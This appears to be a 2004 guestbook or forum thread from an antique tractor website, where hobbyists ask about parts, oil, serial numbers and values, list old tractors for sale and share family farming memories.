Joe Rowe wrote on Thursday, October 14, 2004 (PDT):Upon the death of my father, I returned to my ma out in the country (Michigan) and found an Oliver 550 put together in the barn from at least one other Oliver. I've been able to get the tractor running and want to change the oil. It has a NAPA filter (1105) on it, so I figured on putting another filter with the same # on it. However since I cannot find a manual could anyone tell me the weight/type of oil and approximately how much should go into the crankcase? Any info would be greatly appreciated. Thanks
kirkC wrote on Wednesday, October 13, 2004 (PDT):Im in the market for a clean 220 with fender skirts still on, A clean one at a decent price,Kirk C,
carl wrote on Wednesday, October 13, 2004 (PDT):i have an ac b like in picture. want to sell. run good.
mark fiorentino wrote on Wednesday, October 13, 2004 (PDT):I have a Oliver Super 44 in excellent condition and would like to sell for best offer.Send e-mail.
bill olson wrote on Tuesday, October 12, 2004 (PDT):looking for a starter for a F-12 any ideas? I am restoring a I-14 It has the ring gear but no starter I am sure it is the same as the F-12 thanks for any help
J. R . ALLEN wrote on Tuesday, October 12, 2004 (PDT):does anyone out there have any information on a B-275 international diesel utility tractor. i am in middle tennessee and no one anound here has heard of it.
JimBroughton wrote on Tuesday, October 12, 2004 (PDT):To; James Barrett, re; gas tank,59 Cub...does it leak? or is it rust? is the threads on the shut-off valve/fuel bowl tight? or do they leak?..Remember, those tanks have a "baffle" in them to allow the tractor to work on uneven terrain, so if it's rust, it's "cleanable", but rather involved...I know, I had to clean mine several times until I got the rust out ! Post on here, or E-mail me and I will try to help. LOL, Jim
RAYMOND R wrote on Tuesday, October 12, 2004 (PDT):GETTING BACK TO MY FORD 671 SOS, I FORGOT TO MENTION A COUPLE OF THINGS. THE TRACTOR HAD SAT FOR 5 YEARS WHEN I PURCHASED IT, AND ALL I DID WAS PURCHASED A NEW BATTERY AND CLEANED THE POINTS AND IT FIRED RIGHT UP AND RUNS BEAUTIFUL. THE FOLLOWING DAY I BRUSH HOGGED 5 ACRES OF PASTURE PULLED OUT MANY MAPLE TREE STUMPS. AND AS I STATED BEFORE I WOULD NEVER GET RID OF IT, AND FOR ANYBODY THAT NEEDS PARTS FOR THE 671 SERIES SHOULD CONTACT MEDINA TRACTOR SUPPLY IN MEDINA, OHIO. ALSO, MY NEIGHBOR WHO IS STRICTLY JOHN DEERE TOLD ME THAT I GOT ONE HELL OF A TRACTOR.
RAYMOND R wrote on Tuesday, October 12, 2004 (PDT):GETTING BACK TO MY FORD 671 SOS, I FORGOT TO MENTION A COUPLE OF THINGS. THE TRACTOR HAD SAT FOR 5 YEARS WHEN I PURCHASED IT, AND ALL I DID WAS PURCHASED A NEW BATTERY AND CLEANED THE POINTS AND IT FIRED RIGHT UP AND RUNS BEAUTIFUL. THE FOLLOWING DAY I BRUSH HOGGED 5 ACRES OF PASTURE PULLED OUT MANY MAPLE TREE STUMPS. AND AS I STATED BEFORE I WOULD NEVER GET RID OF IT, AND FOR ANYBODY THAT NEEDS PARTS FOR THE 671 SERIES SHOULD CONTACT MEDINA TRACTOR SUPPLY IN MEDINA, OHIO. ALSO, MY NEIGHBOR WHO IS STRICTLY JOHN DEERE TOLD ME THAT I GOT ONE HELL OF A TRACTOR.
RAYMOND R wrote on Tuesday, October 12, 2004 (PDT):I JUST GOT A 671 SOS AND I LOVE IT IT IS SO MUCH BETTER THEN MY 8N FOR BRUSH HOGGING I WILL NEVER GET RID OF IT
Trav wrote on Tuesday, October 12, 2004 (PDT):Can anyone tell me how much an Allis Chalmers WC should weigh, about?
Don Stickelmaier wrote on Tuesday, October 12, 2004 (PDT):Does anyone out there have serial numbers for LI tractors after 1946. I have one with the serial number IL52482 can anyone tell what year this is any where i can get a wiring diagram thanks Don
brian maddox wrote on Monday, October 11, 2004 (PDT):i have an e-3 co-op for sale it is all original and extremly clean. It was always sheded, it was bought new by my grandfather in 1946.also have original manuals that go with it. MAKE OFFER!!!!
brian maddox wrote on Monday, October 11, 2004 (PDT):i have a d-17 for sale with all the original equipment make offer !! 254-576-1537
brian maddox wrote on Monday, October 11, 2004 (PDT):i have an e-3 all original, always sheded, runs great, even have the 3 row bedder that was bought new with it.my grandfather bought it new in 1946 and i even have the owners manual and shop manual--- make offer 254-576-1537
raymond goeckler wrote on Monday, October 11, 2004 (PDT):i owned a '54 ih w-6,replaced pistons with domed 4",valves wih,rotoators,,hydrulics,build 3 pt.hitch,for it back in'64,it would go 25 mph in 5th.,pull 6ft wide disc tiller,great in rice field,haying,4 row middlebusters.
Richard wrote on Monday, October 11, 2004 (PDT):Have a 54 Major Diesel. I am looking for the small lights located on rear fenders teardrop in shape. Thanks for any info
Darren B. wrote on Monday, October 11, 2004 (PDT):Hello all, my step father passed away suddenly in April and left an old tractor that was his pride and joy. It's a Cub but that's about all I know. My Mother can't operate this wonderful piece of history so we must sell it. Could someone please tell me what year this tractor is and what it might be worth? It's a IH Farmall Cub, on the RH side of the the frame is stamped 351686, on the LH side of the motor is stamped 251341R6. The tractor starts and runs just fine, has been well cared for and has no rust. There is no Hydraulic PTO, but it comes with a mower deck, a disc, and cultivator (?). Thanks in advance for any help!
Matt Sauer wrote on Monday, October 11, 2004 (PDT):does anybody have parts for sale and where
Charles Lane wrote on Monday, October 11, 2004 (PDT):I was born and raised in Wilton Calif in 1946. During the late 40's My dad bought an ID9 in order to retire his 1920's era farmall. That ID9 was a working powerhouse, it pulled a GeeBee scraper,12ft double gang disk, a two point ripper (which you need in the hardpan dirt here in the northern San Jaquine Valley). It was sure neet to start the ID9, you started it on gasoline then after it was warmed up you swiched it over to diesel. The Farmall was retired over to haying duties ( mowing,raking, and bailing). In 1953 both tractors were retired due to the fact my dad bought a Furgeson TO35. Does any one have any info on my dad's Farmall? What model was it and so forth.... It's easy to reconize It had Rack & Pinion stearing not the worm gear as in 90% of the photos. Thanks
Frank wrote on Monday, October 11, 2004 (PDT):The timing gear broke and went through the cover on my 1958 Fordson Dexta Petrol tractor. It has the British Vanguard Standard engine. I'm looking for another cover or a source for parts.
Yonder wrote on Monday, October 11, 2004 (PDT):Herb; If your number is 8N195717 it is a 1949. I have a 1952 8N505193, one of the latest ones built. My front main bering is damaged--it didn't get enough oil for some reason. I wonder if I should take out the crank shaft and have it turned? I would also like to know why this one bering was not getting oil while everything else is just fine. If anyone can give me advice I would love it. Also I have an old Whites Avenger hydromatic garden tractor that I cannot find any information about it. Would like any information that I can get--please reply anyone--Thank you.
Gayle Cyrulik Sr. wrote on Monday, October 11, 2004 (PDT):I own two John Deeres, model "B". The 1941 is a handstart and the 1951 is a electric start. Both tractors are in excellent condition. I show my tractors at tractor shows, as I belong to Abe Lincoln antique tractor club here in central Ill.
Darrell Sinclair wrote on Sunday, October 10, 2004 (PDT):I have a leader tractor for parts it has no seat or steering box, engine is seized but everything else seems to be good.
Bill Kothman wrote on Sunday, October 10, 2004 (PDT):I have a 1946 model H and I need a seat pan. Some where in the past the original seat was remove and farmall seat was made to work. I guess comfort must have been the motivator for the change. How ever I want to make it orginal. I have everything to make the change over except the seat pan. Thanks for any help you can give me.
John o. wrote on Sunday, October 10, 2004 (PDT):I have a WD-45 that was my uncles looking for a brush chopper w/snap coup.
Kenneth Hertneky wrote on Sunday, October 10, 2004 (PDT):Looking for fordson to buy near co.usa
Clayton Anderson wrote on Sunday, October 10, 2004 (PDT):I would like to see a pictor of the U-DIX Thank You
Herb wrote on Saturday, October 09, 2004 (PDT):Just scraped down to a number--NI957I7. (Could be 8N195717. The number was engraved by hand.) Is this a 1949 tractor? It's for sale!
Herb wrote on Saturday, October 09, 2004 (PDT):OK.Finally scraped down to a number today on an AC WC. It's W1796030. Anyone know the date of this tractor? It's for sale!
Jos Ignacio ALBUJA wrote on Saturday, October 09, 2004 (PDT):If some of you know can find the injection pump for my Oliver Super 55 Diesel, delivered in 1.955 or 1.956 part number HD 3663 AR please write me. ( new or used ) I can pay from Miami and receive the part in the address will supply. Write me to; jose4694 at yahoo.com Will thank you for keep in touch with me. Jose Ignacio ALBUJA, Quito - ECUADOR
J. M. C. wrote on Saturday, October 09, 2004 (PDT):I've just aquired an unrestored but nicely running 1946 John Deere L A. It has a hydraulic blade on the front-end and I'm wondering if these were an option from Deere or was it some other kind of add-on? It steers very hard. This may be from the weight of the blade or is this tractor sust hard to steer? thanks
Barney Chapman wrote on Saturday, October 09, 2004 (PDT):We purchased a Ranch in Bosque County Texas in 1948. There was a MM Tractor, tricycle gear, 30 drawbar horsepower, no electrical. We used this tractor for years to farm 800 acres of oats and some wheat and corn. Can anyone tell me what model it was? We later aquired, about 1052 a 50 drawbar MM, tricycle front, with ligths, starter and ect. Although, we never stopped using the old tractor until we sold the Ranch in about1963. WHAT WERE THE TWO TRACTOR MODELS.
806 with 466 in her wrote on Friday, October 08, 2004 (PDT):my 806 has a 466 in her. the old moter was a gas but it was blowen up when i bought her. it has a pulling ta and pulling clutch in her. she is an early 806 with round fenders. it looks prity cool with the big tires on her. i still do some farm work with her. my naber has a 4320 and thought he had something till i pulled him acrass the yard. i first started pulling back in 1995 on a 1466 pedal tractor my uncal had set up for pulling. but that 806 is more fun. most pulling tractors have names my 806 name is feed lot speshelt. i pull her in 8500,9500,10,500, and 11,500. she will put out 320 hp. live red and stay red amen.
Herb Ehlers wrote on Friday, October 08, 2004 (PDT): I have a 1948 70 rc with aluminin hood and the side covers are also aluminim is that a common thing
Phillip Lux wrote on Friday, October 08, 2004 (PDT):I just purchased a 1941 VC Case in sad shape. Everything is free but stiff. It is not running yet. It will be a fun project. My problem is color scheme. My dad's VC case was all yellow. As the picture was taken in about 1954 I do not think the tractor had been repainted. The tractor I have seems to have red frame but yellow sheetmetal and fenders. John P Martine; If you still check this forum I have a picture of Dad's old case with oil filter on the side just above the pulley.
Jayme Gabbard wrote on Thursday, October 07, 2004 (PDT):My cousin in Wisconsin has on he pulls with in the fram stock class. He also uses it on the farm.
blake morris wrote on Thursday, October 07, 2004 (PDT):what does the name mean and waer does it come from
blake morris wrote on Thursday, October 07, 2004 (PDT):why dont you make more jogn deere gear for the john deere lover
mitchell wrote on Wednesday, October 06, 2004 (PDT):need a starter for a M5 LP. can anyone help. 254-375-2386 prefer used.
Mathias wrote on Wednesday, October 06, 2004 (PDT):You probably had the multi power in low. You need to have it in high when going down steep hills, tractors also come equipted with brakes to slow down when on hills. It was NOT THE MASSEY'S FAULT THAT YOU DID NOT UNDERSTAND HOW TO OPERATE THE TRACTOR!!! (A Jhon Deere wouldn't even moved what ever you were pulling!)
Mathias wrote on Wednesday, October 06, 2004 (PDT):You probably had the multi power in low. You need to have it in high when going down steep hills, tractors also come equipted with brakes to slow down when on hills. It was NOT THE MASSEY'S FAULT THAT YOU DID NOT UNDERSTAND HOW TO OPERATE THE TRACTOR!!! (A Jhon Deere wouldn't even moved what ever you were pulling!)
pat moran wrote on Wednesday, October 06, 2004 (PDT):I have a complete VAC-14 with a loader and 3-pt with a stuck motor for sale and also a VC for parts. located in Connecticut
pat moran wrote on Wednesday, October 06, 2004 (PDT):I have a complete restored VC that I will be selling in the spring. I also have a VC motor, narrow front end, torque-tube and differential for sale. I also have a VAC-14 with a loader and a stuck motor for sale now.
Leon Strauss wrote on Wednesday, October 06, 2004 (PDT):I have a Massey Harris 44k 1948 model.Want to know if anyone can help me find a stater.I am from South Africa.Also want to know the collor codes
Nick Prochaska wrote on Wednesday, October 06, 2004 (PDT):I love the 1000's looking to buy a diesel 1000 vista to go badger state with. everyone says it can't be built tough enough, but I have been raised on Molines, and have never seen a bad one. if anyone has any info pls e-mail me pro454 at yahoo.com
Johnny IH wrote on Tuesday, October 05, 2004 (PDT):The 1066 is a real stinger! Regular coolant acidity checks help eliminate the O ring problem......you'd think a good mechanic (Your friend?) would pass this info along....it's called preventative maintenance....guess you got to do what you can to make work or go work for John Deere. Got a friend who quit pulling his 4440; afraid the transmission might go again, can't afford the big dollars to repair.
Dean Peterson wrote on Tuesday, October 05, 2004 (PDT):I was wondering if any knows where I might find instructions for mounting a one bottom mounted mowboard plow on an International Harvester Super A tractor?
John wrote on Tuesday, October 05, 2004 (PDT):Need a perkins engine for a 170....or where can I look for a duplicate?
Hallie Slemmer wrote on Tuesday, October 05, 2004 (PDT):I havei 1950 case sc we are not repainting it looks better no repainted. i think if you have an anqiute tractor you should keep that color>
scott wise wrote on Tuesday, October 05, 2004 (PDT):looking for parts and or help with a 1934 plymouth. need rear & FRONT RIMS. GASS TANK, OR METAL WHEELS?
smurf wrote on Tuesday, October 05, 2004 (PDT):coolpicture!!!!
Dennis Stuhr wrote on Monday, October 04, 2004 (PDT):Restoring my M. I need to repaint the front rims, have new rear rims which are gray. What does one call the grey color of the rims? I received a auto parts catalog with all sorts of paints for restoring vehicles.
chris wrote on Sunday, October 03, 2004 (PDT):i am helping my neice clear her fathers land of 30 years collection of mostly junk. out in the brush is an old but complete i-h crawler. tag notes-model d-9 serialis td6b42774. the blade has to be about 10 ft.wide. on the rear is good size "carco" winch. has not run in about 5-6 years. the motor is 4 cyl.&starts on gas,runs on diesel. wonder if this machine has any value? am afraid the scrap dealers might charge just to get rid of it. any answers would be welcome.
pulling with a reliable 1486 wrote on Sunday, October 03, 2004 (PDT):i pull a 1486. it has the orginal motor in it. i put a pulling ta in her and pulling clutch. she will puller right out the end. there is a hot running 4255 and 4455 that pulls with in my class. but i still plase 1st 2nd or 3rd. i still farm with her. if i wiend her up with two 365 demcos on pavement she'll leave a good blacky.
Jim wrote on Saturday, October 02, 2004 (PDT):I am looking for one of these (or a Ford flathead V8 conversion)that needs work. Price must be reasonable and needs to be within 1000 miles of Houston, TX If anyone knows of such a thing please email me. Thanks
Dale wrote on Saturday, October 02, 2004 (PDT):I have a 2n 1946 and it recently quit thinking that the points were bad changed them no help so started on the carb adjust here and there now it will only run with the choke half out any ideas
harvey wrote on Friday, October 01, 2004 (PDT):i bought a d17 in high school for a $100 for a voag shop project and now i would like to find a loader and equip for it i just bought 5ac . looking for plow and any other equip for quick hitch
Jim DeHaven wrote on Friday, October 01, 2004 (PDT):I was originally an Allis Chalmers fan. However, since there are hundreds of Allis Chalmers collectors out here in the Northwest I decided to switch allegiance to Massey Harris and bought a 55GS Serial # 2132. According to some info I've seen, this may be the first production tractor for the 1948 Model Year. If anyone has any info. or contacts out here in Idaho please contact me. Thanks!
Jerry Carter wrote on Friday, October 01, 2004 (PDT):I was fortunate to have relatives who farmed in Kentucky. I spent many a summer day from age 10 to age 17 working on the farms. Relatives on both sides of the family had Allis Chalmers tractors. The three models most used were the G, the WD45 and the D17. They all were put to use on the farm. The G had an underbelly mower attachment and had cultivator attachment. It was used to cultivate tobacco. The WD 45's and the D17 were used for the other farm work. I have fond memories of family and these tractors. In fact when I think of family, orange tractors come to mind as well.
Chris wrote on Friday, October 01, 2004 (PDT):I heard the little-bull, when new, sold for about $300
ROGER wrote on Friday, October 01, 2004 (PDT):I HAVE A 9N SERIAL # 9N158810 CAN SOMEONE GIVE ME THE YEAR OF IT AND ANYTHING ELSE THAT MIGHT BE SPECIAL ABOUT IT?
BOB wrote on Wednesday, September 29, 2004 (PDT):I have a Ford 2000 LCG does any one know what LCG stands for and what are stock colors. does any one have a picture of what it's supposed to look like
Bob Parks wrote on Monday, September 27, 2004 (PDT):I would like to purchase a cockshutt 20 or 30 wide front in pretty good condition. Thanks Bob Parks Booneville, AR (479) 675-6115
Bob Parks wrote on Monday, September 27, 2004 (PDT):I would like to purchase a cockshutt 20 or 30. I would like for the tractor to be in pretty good condition. Also preferably a wide front. Thanks Bob Parks Booneville, AR (479) 675-6115
Jim--Illinois wrote on Saturday, September 25, 2004 (PDT):I need an exhaust manifold for a 1932 Massey-Harris GP with a Hercules OOC flathead. Also can someone e-mail me a picture of both ends of the intake pipe on the tractor. I have the pipe, but it is missing something to hook it to the carb and the air cleaner box. Thanks for any help.
Jody Leasure wrote on Saturday, September 25, 2004 (PDT):My grandfather used to sell Sheppard tractors back in the 50,s.The first Sheppard my dad and uncles farmed with was an SD-3.It worked great,but once tore out some gears.When the SD-4 came out,they bought one of them,and it worked much better.They later bought another SD-4 with power steering.My Dad also had an SD-4 with power steering,but had alot of problems with it.He quit using it around 1970.My uncle used his SD-4s 'til he quit farming in 1973.Dad bought one of them at the sale and used it for a years then parked it.Dad had five sheppards all togather;two SD-4S,two SD-2s,and an SD-4 for spare parts.He sold most of them off now,but kept the one SD-2 and gave it to me. I plan to restore it one day. It only needs painted,it really runs good.It's really great to have something that rare.
Edward Mackie wrote on Wednesday, September 22, 2004 (PDT):Hi I recieved I believe to be a ford dexta. It is a 4 cyl. gas and had a loader oon the front. It has been sitting in a field for 10yrs or so. when we went to move it its rear tires were siezed. we managed to unsieze one by towing it but the other one wont let go. Any help would be great and if any one can tell me about the brakes or anything about this tractor PLEASE help. THanks Edward
Ben Johnson wrote on Wednesday, September 22, 2004 (PDT):I like Case tractor
RODNEY wrote on Tuesday, September 21, 2004 (PDT):WHAT KIND OF OIL SHOULD I RUN IN MY '53 MODEL 60 WITH A POWER BLOCK?
dave Whitman wrote on Tuesday, September 21, 2004 (PDT):Would like to hear from some Canadian links about side curtains and fenders for Cockshutt 70 standard 1947(orchard)...davejwhitman at hotmail.com
Linda Ney wrote on Monday, September 20, 2004 (PDT):I have an old D-21 tractor that I would love to sell. It still runs, and we still use it. But I don't plan to do my own plowing in the future. Can anyone tell me how much it's worth?
mike h wrote on Sunday, September 19, 2004 (PDT):AMEN BROTHERS!!!!!!!!!!!!!!!!
Wally wrote on Sunday, September 19, 2004 (PDT):I am wondering if someone can tell me what the Cockshot 40 weighs as well as what one in reasonable condition would be worth. Thanks Wally
Paul Jenkins wrote on Thursday, September 16, 2004 (PDT):I have a AC D12 serial number 2859. It's seems to be rare. What's it's value? It's a good working tractor.
jeremy halstead wrote on Tuesday, September 14, 2004 (PDT):th 1066 was a all around good tractor. it wouldpull any john deer out of the mud and plus when u turned it up it would go up along ways and u would see proformance at its best!!!! IHC FOREVER
Adam Mergener wrote on Tuesday, September 14, 2004 (PDT):My name is Adam with the City of Midlothian. I have a 1924 Russell road grader that was left in the back forty of my Public Works facility and i understand it was the first road grader for this town. I proudly set it up on a concrete pad in front of my Service Center office. I was wondering should I try to get it restored and if I do, where would I get the materials? Or would it be worth my time. It really looks like its been through some hard working times. I couldnt imagine not having hydraulics or even cab and air considering Texas weather and the hard white rock. Please holler back if you have any comments.
Josh wrote on Monday, September 13, 2004 (PDT):i'm sure the 1066 is a good tractor, but how can you beat the 856? we have one w/ 8200 hrs and one w/ 7900 hrs and each one is just the same as it came off of the showroom floor. we also have a 966 and a 1466 and either one of the 8's will run circles around the 9.
Eric Recksiedler wrote on Monday, September 13, 2004 (PDT):I'm looking for mainbearings for my case model D. Can anyone help me locate some?
Edward M Daly wrote on Monday, September 13, 2004 (PDT):Ihava a 1960 Supa dexta. need workshop manual for repairs would appreciate contact. Sn. Ireland.
J wrote on Sunday, September 12, 2004 (PDT):I'm 15 years old and just last year my grandfather, who happened to be the only one who knew anything about fixing stuff on the farm, passed away. I have been digging through the sheds cleaning and i have located what i believe to be this tractor. It is in a pretty bad shape but totally fixable. Could anyone send me advice to help fix this tractor up? I want it to look like the original.
Doug wrote on Saturday, September 11, 2004 (PDT):I have a Ford 5000 Super Major that needs an engine and I am having trouble locating one. Can anyone suggest a conversion engine that can be used without doing too much work to convert.
Tony Haffner wrote on Friday, September 10, 2004 (PDT):My dad owns a 68 Vista that I recently pulled at an exabition pull in Hamillton Ill. It's a diesel version and did a fine job pulling that sled out the end !!!
Dave Doman wrote on Thursday, September 09, 2004 (PDT):Hi I have an OC3 with a blown engine. I have a 1XB3 in boxes and would like to know the crank diameter so I can order bearings when mine comes back from machining. Thanks DD
Dan C. Wiebe wrote on Thursday, September 09, 2004 (PDT):Got 2 1941 Model B's in Maryfield in South East Saskatchewan, Canada. I restored one and my friend reg Penner just completed the restoration of the other one. They look great in the local parades and are fun to drive.
Dan Wiebe wrote on Thursday, September 09, 2004 (PDT):Just restored my father's 1950 Series 2 Field Marshall. Run it a few times each summer. Had it in the local parade in July. In Three Hills, Alberta, Canada. This tractor worked 640 acres in the Peace River Country of Alberta, Canada.
Glenn Sitler wrote on Wednesday, September 08, 2004 (PDT):I have just purchased a white demonstrator model "C",with wide front end.IT is in unrestored very good condition with the overpainted red paint mostly peeled off, showing the beautiful white paint job underneath. I am wondering if this troctor should be restored or would it be of more value to leave as is.A good pressure wash job will probably remove nuch more of the red paint. I am interested in obtaining an owners manual for it.
Bob Hamilton wrote on Wednesday, September 08, 2004 (PDT):I live near the Pacific Ocean in the State of Washington, and I'm interested in buying an A.C. WD45, preferably restored, or at least in pretty good condition. If you know of any, please contact me. I'd prefer to locate one within the Pacific Northwest, but I am willing to travel a reasonable distance. Thanks!
Bobby Whittenburg wrote on Wednesday, September 08, 2004 (PDT):I have a few misc. parts. I need intake-exhaust manifold& carb.
Rick Fredlund wrote on Saturday, September 04, 2004 (PDT):My granddad entered a contest back in the early '60s where he had to estimate how much fuel,time, etc.. would be required to farm a certian number of acres. He figured and figured and then grandma told him to add a little more to the total. Good thing because he won. His prize was a brand new fordson super dexta with every type of implement you could think of. We still use this tractor on our farm in Saskatchewan and one day I will pass it on to my boys.
Lanny Schmidt wrote on Friday, September 03, 2004 (PDT):Does anyone know what happened to the d21 promo tractor that went to around to dealers in the mid sixties. It had a two way radio and t.v. and some chrome accesories on it?
Laura Wax wrote on Friday, September 03, 2004 (PDT):My father is looking for a 1950's SC case with eagle hitch and hand clutch on the left side. Does anyone know of one that someone is looking to sell? Location is not a problem, we will drive anywhere to get it.
tim wrote on Wednesday, September 01, 2004 (PDT):Looking for Oliver 44 or Super 44. If you have on orknow of one please email me. I have a friend that is into restoring olivers and before he passes he would like to have one. He's 70 years old and has already completed a 60,70,66,77,88,and 770.
Kelly Harris wrote on Tuesday, August 31, 2004 (PDT):Am looking for a 50-52 Ford 8N to restore and auction for my local united way. Need the tractor donated. IT IS A TAX DEDUCTIBLE DONATION and a receipt will be given from united way. Location is Arkansas but I can probably set up transport from any surrounding state. Any help would be greatly appreciated. I'm just an average 8N owner that loves restoring them but doesn't have the money to get another to restore. I have all parts paint body work tires etc lined up to be donated from local businesses just need a tractor now. Thanks for any help
Richard Doughtyk wrote on Monday, August 30, 2004 (PDT):I bought a MM G1000 LP about one year ago with only 100 hours on an overhaul. I love it. It plays with a heavy 15' Case disk. Often I use it to roll down mole hills in the yard. I figured that the MM on the front stands for Mole Masher.
Dan wrote on Sunday, August 29, 2004 (PDT):What is an approximate weight of a D21??
Jack Frost wrote on Sunday, August 29, 2004 (PDT):We own A 1066 turbo with A diamond cab And that tractor has gone 7,765 hours with out any repairs all we've put in it is oil And Fuel. We also Own A 5488 which we use to plow our 200 acres of corn. the 1066 used to plow until 3 years ago when we bought the 5488
Jack West wrote on Saturday, August 28, 2004 (PDT):I have a 420w row crop utility tractor and am trying to replace the rear oil seals in the three point hitch lift arms but am unable to get the arms to slide off the rock shaft.Do I need a bigger hammer or is there a secret?
Jennifer S. wrote on Friday, August 27, 2004 (PDT):I'm not sure who will even read this post but I came across this site while looking up some information on a 1952 Farmall Cub that I have and am looking to sell. The tractor was actually my dad's. He purchased it as what looked to me like a pile of rust but he put a lot of work and many hours into it and its beautiful now, fully restored. He used to belong to some clubs, showed it at local fairs and drove it in parades. He recently passed away and that is why we are selling it, although it kills us to sell it since he loved it so much. Anyone have any idea how much it might be worth. It has been always stored in a garage. I also have extra rims and tires for the rear of it. It has a 5ft. mower deck and dirt blade. If anyone can offer any info I'd appreciate it, just e-mail me. We really want to see it go to someone who will appreciate it and not park it somewhere outside where it will rust to crap. We would also like to see whoever buys it continue to show it with a sign that was made for it that specifies that my dad restored it (he put so much into it, it would break our hearts to see someone take credit for all his hard work). Anyway, if anyone has any thoughts please e-mail me. Thanks!
Robert Wisner wrote on Friday, August 27, 2004 (PDT):I grew up with a 1937, 1941, and 1948 Silver King. The 1942 models (made from 1942-1956)were much improved from earlier ones, especially in the brakes. They were confortable riding, easy handling, economical tractors. I have a restored 1946 and have a 1941 that I have not yet started working on. The three-wheel models typically had a top speed of about 22 miles per hour, while some 4 wheel models would go up to 30 miles per hour. Unique features on the '42 model included a patented limited-slip differential and a drawbar that anchored further forward on the tractor than most other makes. That provided extra traction. These features and the higher clearance allowed the tractor to go through mud that would stop other brands. We had one farm with large hills. Our Farmall M and John Deere A would raise the front end off the ground on a hard pull going up those hills, but I never had that happen with the Silver King, due to the draw bar attachment point. Silver Kings were made from 1934 to 1956. In their best year they made about 1,100 tractors. Most other years, they made less than a thousand. In the final two years of production,they were made by Mountain States Fabricating Company in Wheeling, West Virginia. Before that, they were made in Plymouth, Ohio by a company whose main business was making switch locomotives. Horse power of the Model '42s was about like a Farmall Super H.
Missouri Farmer wrote on Thursday, August 26, 2004 (PDT):If you didn't know or understand how to operate the tractor or what the levers were for, you had no business on the tractor.
bob g wrote on Wednesday, August 25, 2004 (PDT):i have a 1959 oliver 550 that is a decent tractor it needs some cosmetic work but runs good. i am trying to buy a different one with p/s if it sells before i get mine sold then i will not sell mine. i also have a loader for it. $4000 for tractor $1500 for loader or $5000 for all. tractor is located in springfield, illinois. email me at goldz56 at aol.com or call my cell 217 638 7547
Charles Carlisle wrote on Tuesday, August 24, 2004 (PDT):Phone 910 567 5244 For M and M T parts and tractors located in N. C.
rod wrote on Sunday, August 22, 2004 (PDT):i was wondering if anyone could tell me anything about the super 99 diesel industrial
David wrote on Saturday, August 21, 2004 (PDT):I have a 53 TO-30 with a cracked block. Need a rebuildable block..help...
mike wrote on Saturday, August 21, 2004 (PDT):like every one else i am also looking for a D21 i have a small farm an use a D17 an a 200 anyone in Indiana plz contact me
Nuel Bridson wrote on Saturday, August 21, 2004 (PDT):I own an Oliver 880 and would like to restore it. It works like a charm. I just don't know what year it is or what color it should be. Any help would be useful. Thank-You.
pete paseshnik wrote on Friday, August 20, 2004 (PDT):i curently have purchased a model u moline and have a wiring problum,does any one know how i could obtain a service manual for the tractor?i cant find one at all...
dan wrote on Thursday, August 19, 2004 (PDT):IN IH WE TRUST
Jim Young wrote on Wednesday, August 18, 2004 (PDT):I am looking at an Oliver 550 that has a backhoe on it an a front blade with a hydraulic lift. I found this site and want to thank all of you who have wrote as I have already had many questions answered. The tractor is yellow, does that make it an industrial model? Model 35-0146 Serial# 66920-519.
Tom Staggs wrote on Monday, August 16, 2004 (PDT):I have a John Deere B tractor I am looking for someone in the Little Rock Arkansas area that has a John Deere tractor club or might be interested in purchasing this tractor
David Clark wrote on Sunday, August 15, 2004 (PDT):i have a co-op e4 runs like a new one but the starter has a broke gear in it need to find a starter or sell the tracter
Sherwood Burwell wrote on Sunday, August 15, 2004 (PDT):Hi I am restoring a 1956 Cockshutt 40 Deluxe Wheatland model and need an exh/int manifold with a 10 stud pattern for a 230 Buda 6 cyl. They make an aftermarket one with a 14 stud pattern but would like to keep it original. Any help would be greatly appreciated. Thanks for now.
RW wrote on Friday, August 13, 2004 (PDT):I have a 48D that was running when I brought it home from the auction a few months ago. I think I may have bitten off more than I can chew with this one. I can't get it to start. I think it may be electrical. Due to its unique nature and difficulty of finding parts I may sell it. What is a fair asking price?
Jerry Verkler wrote on Friday, August 13, 2004 (PDT):Anyone know where I can get a governor for a 1963 550 gas?
Steve Barnes wrote on Thursday, August 12, 2004 (PDT):The "Super Dexter" looks to be in great shape. Our family had one that I used as teen back in the early 80's. It was later purchased by a local contractor that continues to use it today around the home. I do have a question for anyone that may have some advice. A friend has a restored 1963 Super Dexter that he is having a problem with. The engine was running fine plenty of power up to the point he poured in a 5-gallon container of fuel while the engine was still running. Since, the engine has been low on power and slow to bring up the RPM's. A new fuel filter was installed and the fuel system bled down but no improvement in performance. Any suggestions? Thanks, Steve Barnes North Carolina
Brendan wrote on Monday, August 09, 2004 (PDT):I have for sale a 300u .2pnt. w/3pnt. conversion.Comes with 2pnt. blade,2pnt. 3bottom plow,3pnt. cultivator,wheel weights and chains.Runs great & is complete but TA does not work.TA is in high so this is not a problem for useing this tractor.Located in North Dakota.
DAle wrote on Wednesday, August 04, 2004 (PDT):looking for a starter for oc3-42 crawler please send info thanks Dale
Mick Souchuk wrote on Tuesday, August 03, 2004 (PDT):I just bought a w4 international,need to get some manuals and some information on oils.
Larry wrote on Tuesday, August 03, 2004 (PDT):I used one of these when I was young. It was brand new and the owner of the farm I worked for got it in with a set of bottom plows and the first chisel plow I ever pulled. Boy was that tractor nice with its closed cab and hydrostatic shift. Never had it that nice on a tractor before and the owner used to save the combines for him and the foreman. ;-)
DARRYL KRAUSE wrote on Sunday, August 01, 2004 (PDT):I HAVE A SERIES 1 SERIAL #1457 WITH A TURBO FOR SALE.IT HAS A HOLE IN THE BLOCK AND STUCK IN 5TH GEAR.3 POINT,PTO,NO GRILL AS OF YET.60% 24.5X32 REARS AND 11.00 16 FRONTS.GOOD SHEET METAL.WITH A.C.3500 1986 GENERATOR MOTOR WITH 2000HRS. SELL AS PACKAGE FOR $4000.00
Sean Asam wrote on Sunday, August 01, 2004 (PDT):I heave just been given a Cockshutt 60. My son is a total tractor nut and wants it fixed yesterday. I have not yet even located the serial number, I have looked everywhere, I thought that it would be close to the shifter, but I cannot see it. Did all the cockshutt 60 have full side cowlings on both sides? I need a clutch with housing as well as the pulley to go on the PTO next to the shifter.
Jacob Haynes wrote on Saturday, July 31, 2004 (PDT):I love your Cockshutt. I have never had the oppertunity to see one but I love the style and I have heard of there quailty.
Jack K. Haeyes wrote on Saturday, July 31, 2004 (PDT):I love the d21 series of allis chamlars. I think have done a great job maintaining tractor. It looks great. Thanks!!!
